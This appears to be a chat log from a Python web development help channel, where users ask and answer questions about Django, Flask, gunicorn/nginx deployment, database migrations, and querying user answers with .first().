A full write up of the issue, with my Nginx file, is here (much too large for chat): https://stackoverflow.com/questions/73060215/nginx-gunicorn-react-flask-api-debian-ssl-api-communication-error
Hi, i have a problem with my password reset feature for my django project where the email is getting sent to the user's spam folder and not their inbox. How can i prevent this from happening and make it send to their inbox instead of spam?
hi, I have a yaml api specification that I converted into a usable api on swaggerhub and postman
I have no domain to setup and test the api yet
Can I use django to host the api service?
I have flask application and i would like to use same instance of class in different routes. Sometimes i am unable to reach the page due to error with that instance. How can I ensure that the instance will be ready in each route?
We have a flask app and a proxy server. I know how to forward outgoing requests from our app through proxy server, using request. How can I forward incoming requests through proxy server to our app? Our app running in a different server
help appreciated!
Is FastAPI fast and reliable?
Yes, FastAPI is fast and reliable.
in fact, 2-3 times faster than its main competitors among python frameworks
how do i make the list come in front of ignite and center it?
You want to use something like nginx or haproxy. This should help: https://www.digitalocean.com/community/tutorials/an-introduction-to-haproxy-and-load-balancing-concepts
My web app works off a sqlite3 database stored on the VPS. If I make a separate mobile app, how would it access this data?
Any advice for the one who is goona start learning web development
your web app backend should be exposing endpoints in JSON format
your web front should be quering those endpoints to interact with backend
your mobile front should be quering those endpoints to interact with backend
can someone help me with this bug please : django.db.utils.IntegrityError: null value in column "occupier_id" of relation "Occupy_post" violates not-null constraint my code : ```class Post(models.Model):
a post can only have one user
#a post can only belong to one clique
# filters posts so only published posts are avaible in the home screen.
class PostObjects(models.Manager):
def get_queryset(self):
return super().get_queryset().filter(status = "posted")
options = (
('draft' , 'Draft'),
('posted' , 'Posted'),
)
clique = models.ForeignKey(Clique, on_delete=models.CASCADE, related_name='cliques', blank=False)
content = models.TextField(max_length=400,null=False, blank=False,)
caption = models.CharField(max_length=400,null=False, blank=False,)
posted = models.DateTimeField(default=timezone.now)
occupier = models.ForeignKey(Occupier, on_delete=models.CASCADE,related_name='clique_posts',null=True)
status = models.CharField(max_length=12, choices=options, default='posted')
objects = models.Manager() # default manager
postobjects = PostObjects() # custom manager```
@manic crane what generated the error? I .e. running makemassages or creating a new object? Could you post that too, please?
conundrum:
- Within my venv: run command to migrate database against PostgreSQL (success and tables exist)
- Same as above, but run command line to create an admin user (success and record exists)
- Log into flask shell and run User.query.all() and it returns my user from the PostgreSQL table
- use curl to hit the api, and it says table not found (shows that it is trying to hit sqlite3)
that last part I know because i'm tailing the gunicorn logs in supervisor. It even shows that gunicorn is connected through the virtual environment....so i know it is using the same environmental configs
trying to make an object
I'm looking for a better way to receive http requests on my pythonanywhere web app with Flask... would somebody here be able to help?
Hey...can anyone help me?..I am a beginner in django and I made a project just to learn...the project is not the same as it's given in the documentation... it'll be highly appreciated.
Please help me in a doubt that I have written in comments in ques.html which lies in myApp, which is inside templates folder....I have the project on github
The doubt is mainly that I want to display a tick mark ✅ on the option a user selected for a given question.
I need to access the option that a given user has selected ...and it should grab that uniquely..I mean... irrespective of what other users have chosen.
Thanks in advance
Please help 🙏🙏
can somebody help me in #help-cookie i need help
A regular client side frontend development
Made easy in Vue.js (or other frontend frameworks)
Made horrible not easy in vanilla js
In order to use vue.js understanding of vanilla js is highly preferable.
Recommending books to start
Head first html/CSS
Head first Javascript
Well...I just want to learn how to access each individual user's selected option for each question in the project
Please help... anyone?
Thanks for your advice dude...but I already know html css and js...I just wanted to learn backend and django specifically.....
And I am familiar with react.js....now...if you could please help me instead of seeing the design parts of the web app,it would be highly appreciated 🙏
@cobalt panther in your Question view, you are doing models.Answer.objects.filter(...) which returns a QuerySet, and assigning that to answer in your context
so answer is a QuerySet, not an Answer object
maybe you should append that call with .first(). This will return a singular Answer object or None
data['answer'] = models.Answer.objects.filter(
question=self.get_object(),
user=self.request.user
).first()```
at least, I think this is what you are trying to do. I'm not sure if there should be multiple answers for a single user/question
Well...what I am trying to do is after a user has replied to a question and clicks on that question again,he should be able to see the number of users who chose each option ( written inside brackets in ques.py file) as well as the option he chose(which needs to be represented by a tick mark).
I used the filter method as I wanted to get the no of users who selected each option.
the filter is constraining to a single user though
so it will not include any other users
But I am getting this in the browser....I am just a beginner and would love to correct my mistakes....
This is for the user named Alvin
Say he chose c++...I want to show a tick sign besides c++
Yup....but the line if answer.choice.id when printed gives a blank string.
So I am not able to find out how to access what option the specific logged in user chose
because answer is a queryset, not an Answer
answer.choice is not a thing
try doing the .first() thing and see if that does what you want
Ohhh yeah!!...it works....😃
So the user's choice is stored in the key named first ?....is it stored as a dictionary within data?
not quite
Hmm...then how did you figure out...
.first() is a method to select 1 row from the database
Ohhh
if no row exists, then None is returned
You were returning a queryset, basically a list
but in this case, you really just want a single answer, or None
so .first() makes sense to use
So ...in this case it is accessing the first row of the Answer db?
it is applying your filter
and then retrieving one row
if you do Answer.objects.all().first() then it will just retrieve some random row
not exactly random but not consistent
Hmmm....i see...i was confused as to how to get the option from this...
So what is shown in the admin page doesn't actually matter while accessing the content?
I'm not sure what you mean
No probs....i got it what you were saying....thanks a lot man....😇
I just applied some dumb logic to get the option...
it's not simple, keep at it. Np
Hmm....
Hello there, can someone please help me with tweepy. So what I want to do is to search twitter for trending tweet for a particular hashtag. I'm not sure how to do this. I have found this answer on stack overflow but it's kinda vague. Please help.
https://stackoverflow.com/questions/42559155/find-trending-tweets-with-tweepy-for-a-specific-keyword
Thanks a lot 🤩🙏
figure out which tweepy method uses https://developer.twitter.com/en/docs/twitter-api/tweets/search/api-reference/get-tweets-search-recent this recent tweets endpoint and then build a query that searches for a hashtag
https://developer.twitter.com/en/docs/twitter-api/tweets/search/integrate/build-a-query
thank you for your response ill try it out
Hi all, maybe a stupid one... So i'm struggling a little bit with using Model Inheritance in DJANGO or not using. I have a model that stores analytical data of products. For reporting purposes i have 1 set of 'totals' and per country another set separate (all countries together == total).
How should i do this? Just make 1 model, with all fields in 1 model (product, total_sold, quantity_sold, total_revenue, total_sold_uk, quantity_sold_uk, total_revenue_uk, total_sold_de, quantity_sold_de, total_revenue_de, ....)
Or split them using Multi Table Inheritance or use an abstract method?
I've tried multi table just now, and the problem is that the main table (the totals) get a new row for the same product for every country row).
Deploying a flask app to a CentOS server running nginx and gunicorn and it is not rendering correctly or working. When it is working, it looks like this:
...but when I go to the version hosted on the server it looks like this:
(Notice the weird text issue on "Log")
Any thoughts on what is happening?
Looks like you may be unable to locate a CSS file or something
Flask usually gives an error if a template is not found
I'd go with multiple tables. Depending on what your model schema/goals are...and, one challenge to answer this question is that we don't know the existing model though.
As a follow up to this: if i execute flask run --host=0.0.0.0 -p 5001 (just to make sure it is on a different port) I can hit the API using curl with no issues (it finds the correct database configuration).
I installed gunicorn via pip and it is in venv/bin/gunicorn...so i execute the command from there. Is it possible that the venv is doing something weird? I see in the gunicorn docs I could also install it at the debian level with aptitude
scratch that....just installed as a debian package from aptitude, started it on port 8000, and same issue
For anyone following my self-rants/rampages, I did fix this error. The full error and then me answering my own question are here: https://stackoverflow.com/questions/73069370/flask-sqlalchemy-command-line-shell-use-correct-database-connection-but-a/73074963#73074963
Understood. I have a Product model, an Order model, OrderItem model, and many more. I now generate analytical data like total number products sold on the fly when a user does a request. I want to move to a cronjob generating the data every night, so that it is cached during the day.
The ProductAnalytics model that i'm looking at will have a FK to the Product and a few columns with general statistic. But now comes the next thing. Products are sold in many different markets(countries) and often analytics are only requested for a specific country. So all data that is in the ProductAnalysis table is also available as split up data per country.
Now i have 1 model, ProductAnalytics with 9 statistics. With and 10 countires. that would mean a 10*9 number of columns added to the model. So i thought a Multitable Inheritance would work out here. But what it does is that for every ProductAnaltycsxxxx there is a new ProductAnalytics row
So the ProductAnaltycsBelgium creates a new ProductAnalytics row, ProductAnaltycsGermany creates another one, etc etc.
I think i would want 1 row in the ProductAnalytics per Product and then linked to that 1 row, per country an additional row that also could be fetched manually.
While typing this i'm currently realizing that i could make this manually, by making OneToOnefields from each ProductAnalyticsCountry model to the ProductAnalytics model....
I have running web application on heroku. I changed this line
address = db.Column(db.String(20), nullable=False) into
address = db.Column(db.String(50), nullable=False)
but my PostgresDb is not updated based on that. How can I update that?
And of course i would like to keep the data which are inside
u a supposed to run
python3 manage.py makemigrations in order to create files for migrations
and then to run
python3 manage.py migrate in order to migrate your database (when connected to it)
considering that your loosened up constraints, it should work reliably
I have a Flask application, this is for Django i think 🙂
Any one here knows difference between SignalR and SignalR-Core. And which of it is best to use. for Realtime data transfer from python to server.
The concept is the same, but the exact commands depend on how your app is designed. You need to run migrations to update your DB based on model changes. If you're using SQL Alchemy, Alembic does the migration